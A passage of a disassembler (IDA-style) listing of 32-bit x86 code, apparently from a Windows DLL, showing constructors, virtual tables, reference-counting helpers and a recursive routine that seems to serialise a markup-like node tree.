dd offset sub_69B8C596
dd offset sub_69B2E804
; =============== S U B R O U T I N E =======================================
sub_69B16F00 proc near ; CODE XREF: sub_69B8E980+82p
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B19118
push [esp+4+arg_0]
xor ecx, ecx
mov dword ptr [esi], offset off_69B16F2C
lea eax, [esi+8]
mov [eax], ecx
mov [esi+0Ch], ecx
push eax
mov [esi+10h], ecx
call sub_69B17320
mov eax, esi
pop esi
retn 4
sub_69B16F00 endp
; ---------------------------------------------------------------------------
align 4
off_69B16F2C dd offset sub_69B2D67E ; DATA XREF: sub_69B16F00+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B7868C
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B4DB74
; =============== S U B R O U T I N E =======================================
sub_69B16F64 proc near ; CODE XREF: sub_69B8F220+Dj
; sub_69B8F83D+17p
push esi
mov esi, ecx
call sub_69B19118
xor eax, eax
mov dword ptr [esi], offset off_69B16F9C
mov [esi+0Ch], eax
mov [esi+10h], eax
mov [esi+14h], eax
mov [esi+18h], eax
mov [esi+1Ch], eax
mov [esi+20h], eax
mov [esi+24h], eax
mov [esi+2Ch], eax
mov [esi+8], al
mov [esi+9], al
mov [esi+30h], al
mov eax, esi
pop esi
retn
sub_69B16F64 endp
; ---------------------------------------------------------------------------
align 4
off_69B16F9C dd offset sub_69B2D67E ; DATA XREF: sub_69B16F64+Ao
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8F93D
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B8F0B4
dd offset nullsub_5
dd offset sub_69B8F1C1
; =============== S U B R O U T I N E =======================================
sub_69B16FD4 proc near ; CODE XREF: sub_69B8F2B6+Dj
; sub_69B8F2CD+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
push edi
mov esi, ecx
call sub_69B8F235
push [esp+8+arg_0]
lea eax, [esi+14h]
mov dword ptr [esi], offset off_69B17018
and dword ptr [eax], 0
lea edi, [esi+18h]
and dword ptr [edi], 0
push eax
call sub_69B17320
push [esp+8+arg_4]
push edi
call sub_69B17320
mov al, [esp+8+arg_8]
mov [esi+8], al
pop edi
mov eax, esi
pop esi
retn 0Ch
sub_69B16FD4 endp
; ---------------------------------------------------------------------------
align 8
off_69B17018 dd offset sub_69B2D67E ; DATA XREF: sub_69B16FD4+10o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8FA94
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B8F0A4
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8F4EE
dd offset sub_69B8F266
dd offset sub_69B8F2CD
dd offset sub_69B8F327
dd offset sub_69B8F39C
dd offset sub_69B8F416
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B17064 proc near ; CODE XREF: sub_69B8FA48+Dj
; sub_69B8FBCF+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
call sub_69B8F235
mov ebx, [ebp+arg_4]
lea eax, [edi+18h]
push ebx
mov dword ptr [edi], offset off_69B170E0
and dword ptr [eax], 0
push eax
call sub_69B17320
mov esi, [ebp+arg_0]
mov eax, [esi+18h]
mov eax, [eax+0Ch]
mov [edi+14h], eax
mov ecx, [esi+18h]
push edi
call sub_69B8A35C
test ebx, ebx
jz short loc_69B170D2
mov ecx, [esi+1Ch]
push ebx
call sub_69B1980A
test eax, eax
jnz short loc_69B170D2
mov eax, [esi+20h]
mov eax, [eax+0Ch]
mov ecx, [esi+1Ch]
push eax
mov [ebp+arg_4], ecx
call sub_69B2F66B
mov ecx, [ebp+arg_4]
push eax
push ebx
call sub_69B3182D
mov ecx, [esi+20h]
push ebx
call sub_69B8A35C
loc_69B170D2: ; CODE XREF: sub_69B17064+3Aj
; sub_69B17064+47j
mov byte ptr [edi+8], 5
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 8
sub_69B17064 endp
; ---------------------------------------------------------------------------
align 10h
off_69B170E0 dd offset sub_69B2D67E ; DATA XREF: sub_69B17064+14o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8FA6E
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B8F08C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8FA32
dd offset sub_69B8F9AE
dd offset sub_69B8FA5F
dd offset sub_69B8F9B6
dd offset sub_69B8F9F4
dd offset nullsub_7
ADVAPI32_dll_dbiat dd 0 ; DATA XREF: .text:69B90478o
; ADVAPI32.dll bound delayed import address table
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17135
loc_69B17130: ; CODE XREF: sub_69B17135+1DDEj
; sub_69B17135+1DEEj ...
mov [esi+4], edi
jmp short loc_69B17182
; END OF FUNCTION CHUNK FOR sub_69B17135
; =============== S U B R O U T I N E =======================================
sub_69B17135 proc near ; CODE XREF: sub_69B1B0B5+69p
; sub_69B1B0B5+76p ...
; FUNCTION CHUNK AT 69B11FF0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 69B17130 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 69B18EF2 SIZE 00000068 BYTES
push 28h
push offset dword_69B17188
call sub_69B19C5C
and dword ptr [ebp-1Ch], 0
and dword ptr [ebp-20h], 0
loc_69B17149: ; CODE XREF: sub_69B23093+Aj
and dword ptr [ebp-4], 0
nop
nop
nop
loc_69B17150: ; CODE XREF: sub_69B17135+50j
mov eax, [ebp+8]
mov eax, [eax+20h]
mov [ebp-24h], eax
mov ecx, [eax+8]
mov [ebp-28h], ecx
cmp [ebp-20h], ecx
jge loc_69B11FF0
mov [ebp-2Ch], eax
push dword ptr [ebp-20h]
mov ecx, eax
call sub_69B171A0
mov [ebp-30h], eax
cmp dword ptr [eax+0Ch], 0
jnz loc_69B18EF2
loc_69B17182: ; CODE XREF: sub_69B17135-2j
; sub_69B17135+1DD2j ...
inc dword ptr [ebp-20h]
jmp short loc_69B17150
sub_69B17135 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B17188 dd 0FFFFFFFFh dd offset sub_69B2308A
dd offset sub_69B23093
align 10h
; =============== S U B R O U T I N E =======================================
sub_69B171A0 proc near ; CODE XREF: sub_69B17DC6-5D7Fp
; sub_69B17135+3Bp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
push edi
mov edi, ecx
jl short loc_69B171BD
cmp esi, [edi+8]
jge short loc_69B171BD
loc_69B171B1: ; CODE XREF: sub_69B171A0+22j
shl esi, 4
lea eax, [esi+edi+0Ch]
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B171BD: ; CODE XREF: sub_69B171A0+Aj
; sub_69B171A0+Fj
call sub_69B2E6D8
jmp short loc_69B171B1
sub_69B171A0 endp
; ---------------------------------------------------------------------------
align 8
off_69B171C8 dd offset sub_69B2D67E ; DATA XREF: sub_69B1A799+6Co
; sub_69B315F1+29o ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B17208
dd offset sub_69B3CAC8
dd offset nullsub_3
; =============== S U B R O U T I N E =======================================
sub_69B17208 proc near ; DATA XREF: .text:69B171FCo
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B17226
push ebx
mov ebx, eax
loc_69B17219: ; CODE XREF: sub_69B17208+1Bj
push edi
call sub_69B17230
add edi, 10h
dec ebx
jnz short loc_69B17219
pop ebx
loc_69B17226: ; CODE XREF: sub_69B17208+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B17208 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_69B17230 proc near ; CODE XREF: sub_69B11FB9+5p
; sub_69B12070+1p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, [ecx]
test eax, eax
jnz short loc_69B1723D
locret_69B1723A: ; CODE XREF: sub_69B17230+16j
retn 4
; ---------------------------------------------------------------------------
loc_69B1723D: ; CODE XREF: sub_69B17230+8j
and dword ptr [ecx], 0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp short locret_69B1723A
sub_69B17230 endp
; =============== S U B R O U T I N E =======================================
sub_69B17248 proc near ; DATA XREF: .text:69B172E8o
; .text:69B180FCo
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
call sub_69B17254
retn 4
sub_69B17248 endp
; =============== S U B R O U T I N E =======================================
sub_69B17254 proc near ; CODE XREF: sub_69B17248+4p
call sub_69B17275
test eax, eax
jnz sub_69B183BB
push esi
lea esi, [ecx+4]
push esi ; Target
call sub_69B18980
sub eax, 8
mov [esi], eax
shr eax, 3
pop esi
retn
sub_69B17254 endp
; =============== S U B R O U T I N E =======================================
sub_69B17275 proc near ; CODE XREF: sub_69B11E20+3p
; sub_69B17254p ...
; FUNCTION CHUNK AT 69B22E47 SIZE 00000003 BYTES
mov eax, [ecx+4]
cmp eax, 0FFFFFFFFh
jz loc_69B22E47
and eax, 4
retn
sub_69B17275 endp
; =============== S U B R O U T I N E =======================================
sub_69B17285 proc near ; CODE XREF: sub_69B192E9+B6p
; sub_69B23D98+51p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
mov ecx, [esp+8+arg_8]
push edi
call sub_69B17275
neg eax
sbb eax, eax
neg eax
push eax
mov ecx, esi
call sub_69B18130
push [esp+0Ch+arg_0]
xor ecx, ecx
mov dword ptr [esi], offset off_69B172E0
lea eax, [esi+14h]
lea edi, [esi+10h]
mov [edi], ecx
mov [eax], ecx
lea ebx, [esi+18h]
push eax
mov [ebx], ecx
call sub_69B17320
push [esp+0Ch+arg_4]
push edi
call sub_69B17320
push [esp+0Ch+arg_8]
push ebx
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebx
retn 0Ch
sub_69B17285 endp
; ---------------------------------------------------------------------------
align 10h
off_69B172E0 dd offset sub_69B2D67E ; DATA XREF: sub_69B17285+22o
dd offset sub_69B18947
dd offset sub_69B17248
dd offset sub_69B197C1
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B2F957
dd offset sub_69B2F970
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F968
dd offset nullsub_5
dd offset sub_69B12077
dd offset sub_69B11FFF
align 10h
; =============== S U B R O U T I N E =======================================
sub_69B17320 proc near ; CODE XREF: sub_69B1A799-8AB4p
; sub_69B11E20+1Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B183A4 SIZE 0000000B BYTES
push ebx
push esi
mov esi, [esp+8+arg_0]
mov ebx, [esi]
push edi
mov edi, [esp+0Ch+arg_4]
test edi, edi
jnz short loc_69B17341
loc_69B17331: ; CODE XREF: sub_69B17320+27j
test ebx, ebx
mov [esi], edi
jnz loc_69B183A4
loc_69B1733B: ; CODE XREF: sub_69B17320+108Aj
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_69B17341: ; CODE XREF: sub_69B17320+Fj
mov eax, [edi]
push edi
call dword ptr [eax+4]
jmp short loc_69B17331
sub_69B17320 endp
; =============== S U B R O U T I N E =======================================
sub_69B17349 proc near ; CODE XREF: sub_69B65C51+5j
; .text:69B65C74j ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
call sub_69B17355
retn 4
sub_69B17349 endp
; =============== S U B R O U T I N E =======================================
sub_69B17355 proc near ; CODE XREF: sub_69B17349+4p
; sub_69B18953+7j ...
; FUNCTION CHUNK AT 69B23059 SIZE 00000031 BYTES
push ebx
push esi
mov esi, ecx
lea eax, [esi+4]
mov ebx, [eax]
cmp ebx, 0FFFFFFFFh
jz short loc_69B1736C
test bl, 4
jnz loc_69B23059
loc_69B1736C: ; CODE XREF: sub_69B17355+Cj
push eax ; Target
call sub_69B18980
push eax
mov ecx, esi
call sub_69B1737D
loc_69B1737A: ; CODE XREF: sub_69B17355+BD13j
; sub_69B17355+BD30j
pop esi
pop ebx
retn
sub_69B17355 endp
; =============== S U B R O U T I N E =======================================
sub_69B1737D proc near ; CODE XREF: sub_69B17355+20p
; sub_69B1DE55+ACp ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B22EF7 SIZE 0000002B BYTES
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
mov edi, ecx
loc_69B17386: ; CODE XREF: sub_69B1737D+BBA0j
test bl, 1
jz short loc_69B1739C
add ebx, 8
mov [edi+4], ebx
loc_69B17391: ; CODE XREF: sub_69B1737D+52j
pop edi
mov eax, ebx
pop esi
shr eax, 3
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_69B1739C: ; CODE XREF: sub_69B1737D+Cj
push dwTlsIndex
call dword_69B92970
mov ecx, ebx
and ecx, 0FFFFFFF8h
cmp ecx, 800h
jnb loc_69B22EF7
mov ecx, ebx
shr ecx, 3
and dword ptr [eax+ecx*4+5Ch], 0
and ebx, 2
or ebx, 9
mov [edi+4], ebx
loc_69B173CC: ; CODE XREF: sub_69B1737D+BB8Aj
push 8
pop ebx
jmp short loc_69B17391
sub_69B1737D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B173D1 proc near ; CODE XREF: sub_69B173D1+247p
; sub_69B173D1+411p ...
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, ecx
mov eax, [esi]
push edi
call dword ptr [eax+3Ch]
cmp [ebp+arg_8], 0
mov edi, eax
mov [ebp+var_C], edi
jnz short loc_69B1740A
mov eax, [esi+8]
mov ecx, eax
shr ecx, 14h
test cl, 1
jnz short loc_69B1740A
test eax, 0C0000h
jnz short loc_69B1740A
push 0
call sub_69B1A6EC
mov [ebp+arg_8], eax
loc_69B1740A: ; CODE XREF: sub_69B173D1+19j
; sub_69B173D1+26j ...
mov ebx, [esi+8]
mov eax, ebx
shr eax, 18h
and eax, 1Fh
cmp eax, 6
jg loc_69B176DC
jz loc_69B176A3
sub eax, 0
jz loc_69B174E6
dec eax
jz loc_69B174C4
dec eax
jz short loc_69B17497
dec eax
jz loc_69B174E6
dec eax
jz loc_69B178BC
dec eax
jnz loc_69B17AC5
mov ebx, [ebp+arg_4]
push offset off_69B17B70
mov ecx, ebx
call sub_69B8A970
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov ecx, ebx
call sub_69B8A970
push 0
push ebx
push [ebp+arg_0]
mov ecx, esi
call sub_69B4A984
push 20h
mov ecx, ebx
call sub_69B8A903
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
push eax
mov ecx, ebx
call sub_69B8A970
jmp loc_69B177B9
; ---------------------------------------------------------------------------
loc_69B17497: ; CODE XREF: sub_69B173D1+64j
mov ecx, [ebp+arg_4]
push offset off_69B17BC0
call sub_69B8A970
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
mov ecx, [ebp+arg_4]
push eax
call sub_69B8A970
mov ecx, [ebp+arg_4]
push offset off_69B17BD0
jmp loc_69B177C0
; ---------------------------------------------------------------------------
loc_69B174C4: ; CODE XREF: sub_69B173D1+5Dj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
test eax, eax
jz loc_69B17AC5
mov ecx, [ebp+arg_4]
push 1
push eax
call sub_69B8AAC2
jmp loc_69B17AC5
; ---------------------------------------------------------------------------
loc_69B174E6: ; CODE XREF: sub_69B173D1+56j
; sub_69B173D1+67j
mov eax, [esi]
shr ebx, 0Bh
mov ecx, esi
and bl, 1
call dword ptr [eax+74h]
test edi, edi
mov [ebp+var_2], al
mov [ebp+var_1], 0
jz loc_69B175A2
mov ecx, [ebp+arg_4]
push 3Ch
call sub_69B8A903
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
mov ecx, [ebp+arg_4]
push eax
call sub_69B8A970
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
jnz short loc_69B1755B
mov ecx, [ebp+arg_8]
push esi
call sub_69B4DD27
mov eax, [esi]
push 0
mov ecx, esi
call dword ptr [eax+3Ch]
push eax
push esi
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B490BC
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B4A984
jmp short loc_69B17571
; ---------------------------------------------------------------------------
loc_69B1755B: ; CODE XREF: sub_69B173D1+157j
mov eax, [esi]
push 0
mov ecx, esi
call dword ptr [eax+3Ch]
push eax
push esi
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B490BC
loc_69B17571: ; CODE XREF: sub_69B173D1+188j
cmp [ebp+var_2], 0
jnz short loc_69B17594
test bl, bl
jnz short loc_69B17594
mov eax, [esi+8]
shr eax, 15h
test al, 1
jnz short loc_69B17594
mov ecx, [ebp+arg_4]
push offset off_69B17BB0
call sub_69B8A970
jmp short loc_69B175A2
; ---------------------------------------------------------------------------
loc_69B17594: ; CODE XREF: sub_69B173D1+1A4j
; sub_69B173D1+1A8j ...
mov ecx, [ebp+arg_4]
push 3Eh
mov [ebp+var_1], 1
call sub_69B8A903
loc_69B175A2: ; CODE XREF: sub_69B173D1+12Bj
; sub_69B173D1+1C1j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
mov ecx, esi
jz short loc_69B175D6
mov eax, [esi+8]
shr eax, 14h
not al
and eax, 0FFFFFF01h
push eax
mov eax, [esi]
call dword ptr [eax+110h]
mov ecx, [ebp+arg_4]
push eax
call sub_69B8AAC2
jmp loc_69B17667
; ---------------------------------------------------------------------------
loc_69B175D6: ; CODE XREF: sub_69B173D1+1DFj
lea eax, [ebp+var_8]
push eax
call sub_69B49F0B
test bl, bl
mov edi, eax
jz short loc_69B175FA
test edi, edi
jz short loc_69B175F2
mov al, [edi+0Bh]
and al, 1Fh
cmp al, 1
jz short loc_69B175FA
loc_69B175F2: ; CODE XREF: sub_69B173D1+216j
mov ecx, [ebp+arg_4]
call sub_69B8A709
loc_69B175FA: ; CODE XREF: sub_69B173D1+212j
; sub_69B173D1+21Fj
test edi, edi
jz short loc_69B17667
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 3
jz short loc_69B1760D
mov eax, [ebp+arg_4]
inc dword ptr [eax+14h]
loc_69B1760D: ; CODE XREF: sub_69B173D1+234j
; sub_69B173D1+285j
push [ebp+arg_8]
mov ecx, edi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B173D1
lea eax, [ebp+var_8]
push eax
mov ecx, esi
call sub_69B47DCC
mov ebx, eax
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 3
jz short loc_69B1764A
test ebx, ebx
jz short loc_69B17640
mov al, [ebx+0Bh]
and al, 1Fh
cmp al, 1
jz short loc_69B17652
loc_69B17640: ; CODE XREF: sub_69B173D1+264j
mov eax, [edi+8]
shr eax, 0Ch
test al, 1
jz short loc_69B17652
loc_69B1764A: ; CODE XREF: sub_69B173D1+260j
mov ecx, [ebp+arg_4]
call sub_69B8A709
loc_69B17652: ; CODE XREF: sub_69B173D1+26Dj
; sub_69B173D1+277j
test ebx, ebx
mov edi, ebx
jnz short loc_69B1760D
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 3
jz short loc_69B17667
mov eax, [ebp+arg_4]
dec dword ptr [eax+14h]
loc_69B17667: ; CODE XREF: sub_69B173D1+200j
; sub_69B173D1+22Bj ...
cmp [ebp+var_1], 0
jz short loc_69B17695
mov ecx, [ebp+arg_4]
push offset off_69B17BA0
call sub_69B8A970
mov ecx, [ebp+var_C]
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ecx, [ebp+arg_4]
push eax
call sub_69B8A970
mov ecx, [ebp+arg_4]
push 3Eh
call sub_69B8A903
loc_69B17695: ; CODE XREF: sub_69B173D1+29Aj
mov ecx, [ebp+arg_8]
push esi
call sub_69B4DDE6
jmp loc_69B17AC5
; ---------------------------------------------------------------------------
loc_69B176A3: ; CODE XREF: sub_69B173D1+4Dj
mov edi, [ebp+arg_4]
push offset off_69B17B90
mov ecx, edi
call sub_69B8A970
push offset off_69B17B40
mov ecx, edi
call sub_69B8A970
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
push eax
mov ecx, edi
call sub_69B8A970
push offset off_69B17BE0
mov ecx, edi
jmp loc_69B177C0
; ---------------------------------------------------------------------------
loc_69B176DC: ; CODE XREF: sub_69B173D1+47j
cmp eax, 7
jl loc_69B17AC5
cmp eax, 8
jle loc_69B178BC
cmp eax, 0Bh
jz loc_69B17898
cmp eax, 0Fh
jz loc_69B1781E
cmp eax, 11h
jz loc_69B177CA
cmp eax, 12h
jnz loc_69B17AC5
mov ebx, [ebp+arg_4]
push offset off_69B17B70
mov ecx, ebx
call sub_69B8A970
push offset off_69B1F2C8
mov ecx, ebx
call sub_69B8A970
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 2
mov edi, eax
jg short loc_69B1773F
call sub_69B2E6D8
loc_69B1773F: ; CODE XREF: sub_69B173D1+367j
push dword ptr [edi+14h]
push esi
call sub_69B3DCF1
test eax, eax
jnz short loc_69B17751
mov eax, offset off_69B277F4
loc_69B17751: ; CODE XREF: sub_69B173D1+379j
push eax
push offset off_69B17AD0
push ebx
call sub_69B47F13
cmp byte ptr [ebx+8], 0
jz short loc_69B1778E
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 3
mov edi, eax
jg short loc_69B17775
call sub_69B2E6D8
loc_69B17775: ; CODE XREF: sub_69B173D1+39Dj
push dword ptr [edi+18h]
push esi
call sub_69B3DCF1
test eax, eax
jz short loc_69B1778E
push eax
push offset off_69B17AE0
push ebx
call sub_69B47F13
loc_69B1778E: ; CODE XREF: sub_69B173D1+390j
; sub_69B173D1+3AFj
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 6
mov edi, eax
jg short loc_69B177A0
call sub_69B2E6D8
loc_69B177A0: ; CODE XREF: sub_69B173D1+3C8j
push dword ptr [edi+24h]
push esi
call sub_69B3DCF1
test eax, eax
jz short loc_69B177B9
push eax
push offset off_69B17AF0
push ebx
call sub_69B47F13
loc_69B177B9: ; CODE XREF: sub_69B173D1+C1j
; sub_69B173D1+3DAj
push offset off_69B17B80
mov ecx, ebx
loc_69B177C0: ; CODE XREF: sub_69B173D1+EEj
; sub_69B173D1+306j
call sub_69B8A970
jmp loc_69B17AC5
; ---------------------------------------------------------------------------
loc_69B177CA: ; CODE XREF: sub_69B173D1+332j
lea eax, [ebp+var_C]
push eax
mov ecx, esi
call sub_69B49F0B
jmp short loc_69B17813
; ---------------------------------------------------------------------------
loc_69B177D7: ; CODE XREF: sub_69B173D1+446j
push [ebp+arg_8]
mov ecx, ebx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B173D1
mov ebx, [ebx+8]
mov eax, ebx
and eax, 1F000000h
cmp eax, 1000000h
jz short loc_69B17808
shr ebx, 0Ch
test bl, 1
jz short loc_69B17808
mov ecx, [ebp+arg_4]
call sub_69B8A709
loc_69B17808: ; CODE XREF: sub_69B173D1+425j
; sub_69B173D1+42Dj
lea eax, [ebp+var_C]
push eax
mov ecx, esi
call sub_69B47DCC
loc_69B17813: ; CODE XREF: sub_69B173D1+404j
mov ebx, eax
test ebx, ebx
jnz short loc_69B177D7
jmp loc_69B17AC5
; ---------------------------------------------------------------------------
loc_69B1781E: ; CODE XREF: sub_69B173D1+329j
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 7
mov ebx, [edi+8]
mov [ebp+arg_8], eax
jg short loc_69B17839
call sub_69B2E6D8
mov eax, dword_69B95A84
loc_69B17839: ; CODE XREF: sub_69B173D1+45Cj
mov ecx, [ebp+arg_8]
cmp ebx, [ecx+28h]
jnz short loc_69B17849
mov eax, [edi+8]
mov ecx, [eax+14h]
jmp short loc_69B1786B
; ---------------------------------------------------------------------------
loc_69B17849: ; CODE XREF: sub_69B173D1+46Ej
cmp dword ptr [eax+8], 1Eh
mov ebx, [edi+8]
mov [ebp+arg_8], eax
jg short loc_69B1785A
call sub_69B2E6D8
loc_69B1785A: ; CODE XREF: sub_69B173D1+482j
mov eax, [ebp+arg_8]
cmp ebx, [eax+84h]
jnz short loc_69B1786F
mov ecx, dword_69B95A6C
loc_69B1786B: ; CODE XREF: sub_69B173D1+476j
mov eax, [ecx]
jmp short loc_69B17873
; ---------------------------------------------------------------------------
loc_69B1786F: ; CODE XREF: sub_69B173D1+492j
mov eax, [edi]
mov ecx, edi
loc_69B17873: ; CODE XREF: sub_69B173D1+49Cj
call dword ptr [eax+2Ch]
mov ecx, [ebp+arg_4]
push eax
call sub_69B8A970
mov ecx, [ebp+arg_4]
push 3Dh
call sub_69B8A903
push [ebp+arg_4]
mov ecx, esi
call sub_69B4A260
jmp loc_69B17AC5
; ---------------------------------------------------------------------------
loc_69B17898: ; CODE XREF: sub_69B173D1+320j
mov ecx, [ebp+arg_4]
push 26h
call sub_69B8A903
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
mov ecx, [ebp+arg_4]
push eax
call sub_69B8A970
mov ecx, [ebp+arg_4]
push 3Bh
jmp loc_69B17AC0
; ---------------------------------------------------------------------------
loc_69B178BC: ; CODE XREF: sub_69B173D1+6Ej
; sub_69B173D1+317j
mov ebx, [ebp+arg_4]
push 3Ch
mov ecx, ebx
call sub_69B8A903
push 21h
mov ecx, ebx
call sub_69B8A903
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
cmp eax, 4
jnz short loc_69B178E5
push offset off_69B17B50
jmp short loc_69B178FB
; ---------------------------------------------------------------------------
loc_69B178E5: ; CODE XREF: sub_69B173D1+50Bj
cmp eax, 7
jnz short loc_69B178F1
push offset off_69B17B30
jmp short loc_69B178FB
; ---------------------------------------------------------------------------
loc_69B178F1: ; CODE XREF: sub_69B173D1+517j
cmp eax, 8
jnz short loc_69B17902
push offset off_69B17B60
loc_69B178FB: ; CODE XREF: sub_69B173D1+512j
; sub_69B173D1+51Ej
mov ecx, ebx
call sub_69B8A970
loc_69B17902: ; CODE XREF: sub_69B173D1+523j
push 20h
mov ecx, ebx
call sub_69B8A903
push edi
mov ecx, ebx
call sub_69B8A9A3
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 0Ah
mov edi, eax
jg short loc_69B17925
call sub_69B2E6D8
loc_69B17925: ; CODE XREF: sub_69B173D1+54Dj
mov eax, [edi+34h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
test eax, eax
mov [ebp+arg_4], eax
jnz short loc_69B17964
mov al, [esi+0Bh]
and eax, 1Fh
cmp eax, 8
jz short loc_69B17964
cmp eax, 7
jnz loc_69B17A79
push 20h
mov ecx, ebx
call sub_69B8A903
push ebx
mov ecx, esi
call sub_69B4A260
jmp loc_69B17A79
; ---------------------------------------------------------------------------
loc_69B17964: ; CODE XREF: sub_69B173D1+567j
; sub_69B173D1+572j
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 9
mov edi, eax
jg short loc_69B17976
call sub_69B2E6D8
loc_69B17976: ; CODE XREF: sub_69B173D1+59Ej
mov eax, [edi+30h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
mov edi, eax
test edi, edi
jz short loc_69B179CD
push 20h
mov ecx, ebx
call sub_69B8A903
push offset off_69B17B10
mov ecx, ebx
call sub_69B8A970
push 20h
mov ecx, ebx
call sub_69B8A903
push 22h
mov ecx, ebx
call sub_69B8A903
mov eax, [edi]
push 1
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov ecx, ebx
call sub_69B8AAC2
push 22h
mov ecx, ebx
call sub_69B8A903
jmp short loc_69B179E8
; ---------------------------------------------------------------------------
loc_69B179CD: ; CODE XREF: sub_69B173D1+5B7j
cmp [ebp+arg_4], 0
jz short loc_69B17A1B
push 20h
mov ecx, ebx
call sub_69B8A903
push offset off_69B17B00
mov ecx, ebx
call sub_69B8A970
loc_69B179E8: ; CODE XREF: sub_69B173D1+5FAj
mov edi, [ebp+arg_4]
test edi, edi
jz short loc_69B17A1B
push 20h
mov ecx, ebx
call sub_69B8A903
push 22h
mov ecx, ebx
call sub_69B8A903
mov eax, [edi]
push 1
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov ecx, ebx
call sub_69B8AAC2
push 22h
mov ecx, ebx
call sub_69B8A903
loc_69B17A1B: ; CODE XREF: sub_69B173D1+600j
; sub_69B173D1+61Cj
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 7
jnz short loc_69B17A79
mov eax, dword_69B95A84
